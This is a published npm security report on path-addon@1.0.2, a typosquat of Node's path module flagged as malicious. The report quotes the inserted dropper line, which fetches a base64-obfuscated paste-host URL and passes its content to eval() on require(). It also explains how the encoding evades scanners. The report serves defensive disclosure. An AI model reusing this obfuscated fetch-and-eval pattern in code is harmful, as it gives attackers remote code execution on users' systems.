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canonical: "https://firewall.lpm.dev/npm/path-addon/v/1.0.2"
markdown: "https://firewall.lpm.dev/npm/path-addon/v/1.0.2.md"
package: "path-addon"
report_status: "published"
title: "path-addon@1.0.2 npm security report"
verdict: "malicious"
version: "1.0.2"
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# path-addon@1.0.2 npm security report

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## Verdict summary
**Blocked & quarantined** — Quarantined by product-default policy — this version is not allowed through the firewall.

- **Verdict:** Malicious
- **Product-default install policy:** Block
- **Firewall policy:** Matched malicious
- **Public report status:** Published
- **Threat category:** Malware
- **Selected version:** 1.0.2
- **Selected version is latest:** No
- **Analysis source:** OSV Malicious Advisory (OpenSSF/OSV)

OpenSSF/OSV advisory MAL-2026-3311 confirms this npm version as malicious. path-addon impersonates the Node.js core \`path\` module (package name \`path-addon\`, README claims to be 'an exact copy of the NodeJS path module'). The body of path.js is the genuine Joyent path implementation, but a remote-code-execution dropper has been inserted: on require(), the module calls \`fetch(atob("aHR0cHM6Ly93d3cuanNvbmtlZXBlci5jb20vYi9SRlc2SQ=="))\` — which decodes to https://www.jsonkeeper.com/b/RFW6I, an...

## Latest scan
- **Scanner version:** external-osv-malicious-v1
- **Verdict:** Malicious
- **Confidence:** 100.0%
- **Started:** 2026-07-23T08:15:09.869Z
- **Finished:** 2026-07-23T08:15:09.869Z
- **Download time:** Not available
- **Static scan time:** Not available
- **AI review time:** Not available
- **Total time:** Not available

## Security analysis

No additional public attack-surface or AI-review details are available.

## Public findings

### 1. High: Osv Malicious Advisory
- **Category:** External Intel
- **Confidence:** 100.0%

path-addon impersonates the Node.js core \`path\` module (package name \`path-addon\`, README claims to be 'an exact copy of the NodeJS path module'). The body of path.js is the genuine Joyent path implementation, but a remote-code-execution dropper has been inserted: on require(), the module calls \`fetch(atob("aHR0cHM6Ly93d3cuanNvbmtlZXBlci5jb20vYi9SRlc2SQ=="))\` — which decodes to https://www.jsonkeeper.com/b/RFW6I, an anonymous mutable JSON paste host — then reads the response's \`content\` field and passes it to \`eval()\`. The destination URL is base64-encoded specifically to evade casual review and string-based scanners. Any process that imports path-addon executes whatever JavaScript the attacker has placed at that paste URL at the moment of require(), with no integrity check, no pinning, and no version constraint. The combined shape (typosquat name + trojanized legitimate source + obfuscated fetch + eval of remote content at module load) is unambiguous attacker tooling.

\#\# Source: ossf-package-analysis (4aac3da4c776f814c79af215bfde0f1ee2c3db50e9b18997447f28e9d04df88a) The OpenSSF Package Analysis project identified 'path-addon' @ 1.0.4 (npm) as malicious.

It is considered malicious because:

- The package communicates with a domain associated with malicious activity.

- The package executes one or more commands associated with malicious behavior.

## Dependencies and install lifecycle
- **Lifecycle scripts present:** No

- **Dependencies:** 0
- **Optional dependencies:** 0
- **Peer dependencies:** 0
- **Development dependencies:** 0
- **Published dependency-graph edges:** 0

## Package metadata
- **Package:** path-addon
- **Ecosystem:** npm
- **Version:** 1.0.2
- **Version published:** 2026-04-11T19:55:53.900Z
- **Package first seen:** 2026-06-30T15:00:03.839Z
- **Package last seen:** 2026-07-23T08:15:09.869Z
- **Known versions:** 6
- **Latest version:** 1.0.7
- **Appeal under review:** No

## References
- [HTML security report](<https://firewall.lpm.dev/npm/path-addon/v/1.0.2>)
- [OSV advisory](<https://osv.dev/vulnerability/MAL-2026-3311>)
- [PACKAGE](<https://www.npmjs.com/package/path-addon/v/1.0.5>)
- [PACKAGE](<https://www.npmjs.com/package/path-addon/v/1.0.6>)
- [PACKAGE](<https://www.npmjs.com/package/path-addon/v/1.0.7>)